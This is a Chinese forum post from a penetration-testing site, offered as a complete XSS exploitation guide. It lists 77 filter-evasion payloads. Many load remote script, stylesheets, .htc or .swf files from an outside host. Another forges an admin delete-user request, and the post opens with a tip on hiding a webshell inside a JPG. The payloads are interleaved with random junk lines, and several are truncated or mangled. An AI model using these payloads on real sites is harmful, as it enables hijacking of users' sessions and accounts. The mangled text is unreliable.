中国网络渗透测试联盟
标题:
xss详细利用大全1
[打印本页]
作者:
admin
时间:
2012-9-13 17:04
标题:
xss详细利用大全1
跨站图片shell
) e% y! h) T6 ~8 T6 M9 F& X
XSS跨站代码 <script>alert("")</script>
2 X: y3 f8 e+ ~3 [. K
) e0 X+ k: @! m h. i, v5 W0 P( _7 v' w
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
; Y1 x* {1 d3 a, ~/ M G: W% _- \
0 l1 T0 }3 p: I- G- P1 c8 ^
& f6 |! m( \1 }7 v' K
/ ]# F% R* `* z/ W. z l
1)普通的XSS JavaScript注入
$ [, ^- g+ d8 e r4 u
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' b4 {( g7 C& C+ B8 B! p
, K8 E# H# z- |4 y' [7 s
(2)IMG标签XSS使用JavaScript命令
`, F1 [5 `7 c% q B7 [2 x' V! {6 o
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
* Z; `0 S" F+ ^& H& v, B- N1 Y
8 [2 c# i! ^+ g5 d
(3)IMG标签无分号无引号
5 l0 m% t9 F6 ?
<IMG SRC=javascript:alert(‘XSS’)>
) E; n! ~% L( Z- e( V( I, H1 a6 z/ A
6 o u, [" s. B, e
(4)IMG标签大小写不敏感
0 ]1 ^7 H1 O4 [9 g" x
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
) Z# D$ U! X7 Q& h
' @; S7 x" O& a2 R
(5)HTML编码(必须有分号)
* K. J. T) Q" D6 q* f3 y. q
<IMG SRC=javascript:alert(“XSS”)>
. r4 w2 P( A: T
h' j$ W* D$ s! x9 T
(6)修正缺陷IMG标签
8 K2 V3 U6 Y; l7 q3 F: u
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
' o7 E9 H6 Y! S
. t% j9 M8 ?6 Y5 e
(7)formCharCode标签(计算器)
: Q, {( ~+ O, ?8 I$ X
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
6 {7 `6 O4 V5 c; ]
$ a- I0 T8 M2 K2 k( `5 J. o
(8)UTF-8的Unicode编码(计算器)
p, g/ ~# b' a" f* W
<IMG SRC=jav..省略..S')>
5 A$ n5 i+ N% ^: y3 t- y9 z
8 \# Z1 {' K. H
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
1 S1 K! v7 [% g6 S; L6 s
<IMG SRC=jav..省略..S')>
0 q5 ~; \3 v1 I+ H8 s2 A: i: O# i
* \1 B/ q% m9 S1 \
(10)十六进制编码也是没有分号(计算器)
8 T+ p- J5 [5 k0 t/ J: t: Z* l
<IMG SRC=java..省略..XSS')>
# ^* j, F' H; Q
4 a8 c1 ^3 J% V
(11)嵌入式标签,将Javascript分开
5 o% Z% }& }- I7 k% o
<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ q* n9 M& O4 d9 d' J% d6 |
5 m. Y! r3 W* {2 z: P+ h
(12)嵌入式编码标签,将Javascript分开
& \) |9 e+ x. c* Y
<IMG SRC=”jav ascript:alert(‘XSS’);”>
7 z V$ Q. D7 A/ p4 }
0 f u7 ]% q) j; L2 M8 v: y0 J% U
(13)嵌入式换行符
0 C5 e; m9 e' J' R" ~
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! K4 Y, y7 ?/ e1 T( o
. d% E! f+ r, z4 z( K& U* o6 A( V
(14)嵌入式回车
3 ]5 X) A2 ?' e
<IMG SRC=”jav ascript:alert(‘XSS’);”>
_9 J! T9 [$ \
" Q$ @9 Z9 R5 ?0 J5 }% ~
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
" ]7 l, E: c4 t9 a$ f5 F
<IMG SRC=”javascript:alert(‘XSS‘)”>
" N. |; ]9 r! b& p
5 D7 b6 p* Y) I
(16)解决限制字符(要求同页面)
* w, i) b6 `2 G; M, g
<script>z=’document.’</script>
& K5 U2 r0 i/ g# e
<script>z=z+’write(“‘</script>
9 p' w- L- B- `8 e
<script>z=z+’<script’</script>
, r$ h# |; C9 K: @6 B2 ^! O
<script>z=z+’ src=ht’</script>
! C, m1 ]6 N& c& P
<script>z=z+’tp://ww’</script>
2 f' h2 r$ [1 W9 R
<script>z=z+’w.shell’</script>
; M0 p2 x6 ^5 J4 n5 z
<script>z=z+’.net/1.’</script>
, e2 x* p& l$ A! ]) M' \3 P
<script>z=z+’js></sc’</script>
3 i' v' X0 {) Q$ c
<script>z=z+’ript>”)’</script>
" O3 D1 a- R& N* m
<script>eval_r(z)</script>
) z( r' N6 e/ q$ e; D4 o; {
3 C/ I5 l: D' i$ w8 {) |- t
(17)空字符
4 b) m4 j) ?( _
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
! z1 v$ W `' T: J; {0 Y
* {/ o2 J. T3 m! n4 k+ O! B1 \# d
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
7 z% ~/ X6 v# ]) O
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
6 d! l b; |: e& h; Q% P
7 y& X5 S. _4 p( f9 ?; d H* h
(19)Spaces和meta前的IMG标签
+ @/ d! }3 h6 `
<IMG SRC=” javascript:alert(‘XSS’);”>
1 M w& B% ?& l4 V3 [+ t9 f; q) s0 w
% k N/ }) [6 W* q& {% T+ _0 _
(20)Non-alpha-non-digit XSS
* B4 Y6 j' ~8 ~; O* {" D# \( A
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
' h3 _6 v3 k3 I
( \8 s6 g- H# E) Q9 O" M# ]
(21)Non-alpha-non-digit XSS to 2
9 E B$ x5 c+ P
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
4 |7 @- f* [7 d
) P9 I/ `/ E0 t, q# g9 t9 A! d+ M
(22)Non-alpha-non-digit XSS to 3
/ f- z1 [' |4 Q
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
0 W3 v4 `1 t" H- s( K
/ @* L7 v+ f/ l' |8 z
(23)双开括号
/ }5 g5 o/ g* n: C# @" y
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
# ~. ^9 q* Y" r8 {: m2 e
1 G O. X- ]* M+ X$ D( W6 v5 T5 n
(24)无结束脚本标记(仅火狐等浏览器)
- L' D" w% n5 r- Q0 c4 }
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
7 z( f3 V$ A; W
e! \8 ?; _, R* l3 ~0 A' F% ?
(25)无结束脚本标记2
0 N0 N/ ~' v T+ L
<SCRIPT SRC=//3w.org/XSS/xss.js>
) n" C# r7 ]0 \/ S. A) _# J+ r
& ]. n5 p0 M1 {* u% q
(26)半开的HTML/JavaScript XSS
2 y9 J( g* G. Y0 J! e P$ K
<IMG SRC=”javascript:alert(‘XSS’)”
1 t2 I5 E" v1 C2 I
- }8 J' Z% A4 J& h( F: P' p4 T# R- z
(27)双开角括号
4 w& ?5 J0 R3 Q1 z) u/ ~9 f
<iframe src=http://3w.org/XSS.html <
1 \ d; K; g7 i7 B3 Y5 @: F# i
) r, b- I" C( z3 k! ^0 s- e2 }
(28)无单引号 双引号 分号
6 _/ K/ o2 r2 Z7 V
<SCRIPT>a=/XSS/
) L# t! z* ?- j" h
alert(a.source)</SCRIPT>
f# s" S1 ^# E* I
6 Y& A3 T l! M4 q4 X# O1 R0 V
(29)换码过滤的JavaScript
) |$ H3 J& T) ~8 F
\”;alert(‘XSS’);//
' |2 q9 \ y7 h! f
4 f; D3 R2 ` i9 F7 e- t" u
(30)结束Title标签
" F; W; I5 J3 V ~& \5 h
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
( x( `; Q- Y) Y9 i4 Z& S8 C7 d1 a- S
* b( ~: g) }4 H2 b
(31)Input Image
. p, b* M+ s" n- h0 P' N
<INPUT SRC=”javascript:alert(‘XSS’);”>
, b5 l! c7 O( o) K: W3 `* o
5 T6 C. y: u H3 _6 `1 J n) s% V
(32)BODY Image
; P7 v* M: ]% h6 m' M- F
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
, I; @- ?# `1 H8 ]- l
- X5 f9 g( N) H' P1 J; g+ w* i
(33)BODY标签
6 V9 R X9 N& l5 ?
<BODY(‘XSS’)>
+ Q- U' x6 ^7 r+ c( j _
2 {+ ~3 D: R: u8 C
(34)IMG Dynsrc
0 V( s; j% m/ [" ^5 f: a/ R
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
7 E% l. J; W* C P
1 f( Y. h" ~! }8 c9 X; j5 Y
(35)IMG Lowsrc
7 Q0 d& T4 m% R, R' V
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
1 N5 q) g9 C) @3 T! s
2 K3 \/ _' {# I: _) Z9 \* B
(36)BGSOUND
* _$ H, T& u$ B' u0 l. w
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
5 `/ b5 i" }1 B+ @3 J4 Q
3 O6 A- P( X) l
(37)STYLE sheet
& g. Q. S3 Z I
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
5 x, Q) s3 T5 B8 d7 H
" c' S7 u, i- t _, C
(38)远程样式表
5 D- k _8 t7 Q6 O
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
& w5 J* q' \& b6 h
$ {1 Y3 ?2 i6 S2 f
(39)List-style-image(列表式)
* `( p" u5 C" M- T& K8 p
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
7 A1 S+ o. q* R6 h! l0 J* z# C8 v* O
( {2 h& b$ g; _4 d8 E% W* L
(40)IMG VBscript
" ]5 r1 T$ k$ V' a5 r
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
0 w0 Y; Y4 B/ S
; n/ n! o) S2 ]) q; K1 B
(41)META链接url
+ D, d* y% q" Y" {
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
6 M5 |/ S8 n6 z* k
- I2 I% W1 ~9 x1 E8 A
(42)Iframe
( `* j" P/ ?9 n$ I! _6 Q
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
% \( |; q# S& W: A' o5 O
(43)Frame
* q; r8 D- G, e! W8 |2 \: r& \5 j
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
" o, w* b* _$ [
: h; p+ w3 I4 [ D* h* z* h
(44)Table
' |5 m O0 |- y+ T! H+ s8 N+ Q
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
6 O; b! W$ N5 p# R- F5 z
8 [% C. X5 G% q" n4 j$ Z" e) n
(45)TD
5 t) w" |3 d& q% c' C8 ^
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
G2 @5 F" s7 r3 K. z; J# \) d3 [+ ^
+ @" {; D W4 c# E' `& }
(46)DIV background-image
2 H5 q$ a# V# U. z7 c
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
4 J4 W( R: c$ V q
: d) i" F) _, T+ C1 ]. ?" ]& ~
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( S4 d& s5 ?4 ]; p8 v
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
2 J, P# w0 z- S& C7 o0 v$ Z! z
# K" a/ I+ t0 {5 d, W+ h% I
(48)DIV expression
+ ^. x9 Q4 C! Z+ d/ G8 {
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
4 |& B: C& o! C# Z7 D, Y( }- @8 n
I* x7 C' l; G* t2 V: M
(49)STYLE属性分拆表达
% R! h4 S* [; @2 U; N$ b* A
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
$ x4 B2 Q; e2 v
- `6 ?3 ~6 b# ?! p+ J) i5 ^& g
(50)匿名STYLE(组成:开角号和一个字母开头)
9 r& z% G6 e" W; L J S) }
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
6 j$ q, X: M; i2 L
1 [4 T/ b; I) Z1 B
(51)STYLE background-image
7 F4 Q3 `3 o9 j5 C: B# T) p
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
' q Q0 W% A1 c! [2 h
7 i; Q- b$ P, I4 h
(52)IMG STYLE方式
6 y' v+ ^3 p u' U
exppression(alert(“XSS”))’>
4 L, k6 {4 J! W+ d/ q( F
' E$ T+ V* W% V- j; K) w6 m
(53)STYLE background
1 a' O! M7 _0 I: [7 ? G, Y n! N
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
: Y! s. ~; c* f8 [* Y8 y
3 m9 x; U/ X0 _. |
(54)BASE
4 V3 j7 F( _0 M
<BASE HREF=”javascript:alert(‘XSS’);//”>
7 `! W( V0 x# e; n% Q% k X! x* _
6 Q7 N, x- p& |7 {: g, t( w+ Q
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
7 l4 U& C8 j) T* t. u0 _
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
3 K4 O/ v9 ^) x; l0 E+ Q$ @+ R
# \2 S9 a2 N) _& }0 A- ^
(56)在flash中使用ActionScrpt可以混进你XSS的代码
4 i$ H+ w4 J" v1 _& ?! H$ P
a=”get”;
: c ~) l* z) D1 B0 ?
b=”URL(\”";
/ n' |4 G. z) e! X+ l: i6 c; H& x
c=”javascript:”;
. J3 P7 S9 H% Z( P( n* O
d=”alert(‘XSS’);\”)”;
. G. ^% M+ D( D- E4 S# B0 e
eval_r(a+b+c+d);
6 n: b9 n: [1 F+ Q& |5 g
1 ?+ U! o* U8 W' `3 i
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
% ^- J. j4 T' `' G+ T& f" v
<HTML xmlns:xss>
5 d5 M9 J' f- ]; f, A. b7 O
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
1 e3 D1 A. f% f, t$ K& w/ }
<xss:xss>XSS</xss:xss>
1 y. S: L8 z' G; B" j8 m& ]
</HTML>
) Z* v O- d. U
' v) \1 h6 s. ]1 V4 O$ K* M
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
. h1 I. {1 o5 {
<SCRIPT SRC=””></SCRIPT>
7 N9 Q4 w5 A( n2 l
/ ] P7 c9 f: V* x! r. I5 T( m: {* @
(59)IMG嵌入式命令,可执行任意命令
, ~. c& m) W- ?" O5 L
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
4 E+ n ]/ z; C5 p
' t% ]6 z7 a" L0 J3 J: X0 I
(60)IMG嵌入式命令(a.jpg在同服务器)
7 k% C' j5 J# W1 v4 I% I5 N
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
* @+ A" ~1 G3 |( `9 K3 N
& T0 u7 T s* o- j. f+ B
(61)绕符号过滤
) C3 A, U& N B4 \- y H6 E5 X
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
# Q1 o" c1 F2 `% ^; Q5 V1 T5 n
; P7 ~& [) w% r9 u
(62)
' j0 ~ q5 T% a* c
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
, u+ {, f+ m) \/ D0 F
$ Y/ ^: ?- t7 x! ~( o) F
(63)
* w0 f. z) i$ y* x: s# }* t5 y
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
; [/ }# ]6 A6 v
9 g" M; q5 t T! f! `1 |
(64)
' e' O$ l% t# D, b! K
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
7 a/ s1 z* Y4 V" S, r- p: K
2 K$ x( ~0 d4 l. V2 q
(65)
: b# \! D8 V9 J4 b5 M! X0 P
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
7 b" {0 _5 G. k! c& B5 d
7 \5 D7 C9 M! v
(66)
1 [2 }7 J) }% F4 F9 L! W
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
: Q3 F% c8 `3 g( a" Y! M& d% x n
* r; e' j9 r9 D, ]: n7 F( a8 e' ^
(67)
: y' _4 q! f6 Q6 M) [$ [
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
7 v' N [1 h* d* ~; j5 O: R, ~2 S
! B j! i3 p1 M5 l* K ?# A7 g6 p5 @
(68)URL绕行
( }: j5 g( @% n, v7 D n
<A HREF=”
http://127.0.0.1/
”>XSS</A>
* J- r. q0 Y) m: |9 H
/ d5 ~1 ?4 O+ k' J& L
(69)URL编码
" ?# v0 J6 W, Y6 @
<A HREF=”
http://3w.org
”>XSS</A>
( n. @8 v' L$ ~3 B! L3 l _& e+ V
: z7 o- Z- ^/ @( N2 O# y2 G! Y! k
(70)IP十进制
5 A2 _( L, z, k, n. D& |; s
<A HREF=”http://3232235521″>XSS</A>
/ K2 N2 X/ b6 ~3 |3 D
, U: N T7 H& o$ ]3 Z) d: v. c: P
(71)IP十六进制
' z y% x/ v1 R2 G: f( b- L: n
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
4 r1 c& @/ @ ]" y& \+ Y% ~
6 ]. D) ]: C/ D0 @8 s( L& `4 R
(72)IP八进制
# Q( H4 C" u& E* P1 S
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
& P: Z5 t8 M# l9 ]) R; V
, K2 A$ Y2 q/ n) d- J% ?6 |+ ^4 c& K0 i" p
(73)混合编码
6 Y$ u" N, k- n& S( W1 L; K, N- z
<A HREF=”h
( x1 Q, D# S3 P4 q
tt p://6 6.000146.0×7.147/”">XSS</A>
" S/ J% Z5 l0 K! {4 @) v
8 I K1 H: O% N" v
(74)节省[http:]
, M! ]8 Z! C) |3 m$ ]1 _) b
<A HREF=”//www.google.com/”>XSS</A>
2 M' X/ {; u9 @$ \5 {3 @
5 Q1 f% c2 I6 M4 j) G% E* ~5 ~
(75)节省[www]
6 H% J4 G* l! b5 C0 l
<A HREF=”
http://google.com/
”>XSS</A>
7 a8 U: d" J& v& d+ S
r: F6 w9 d; d( L8 E
(76)绝对点绝对DNS
7 U. A/ _7 ]; \- _
<A HREF=”
http://www.google.com./
”>XSS</A>
! _0 W, i1 {1 D+ ?9 [( T
1 S/ G! q8 J! Z# w2 b* j; a
(77)javascript链接
+ F2 F/ V9 _( t$ L% w
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
4 u/ j. i6 b+ p; p# r7 n9 K, \
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2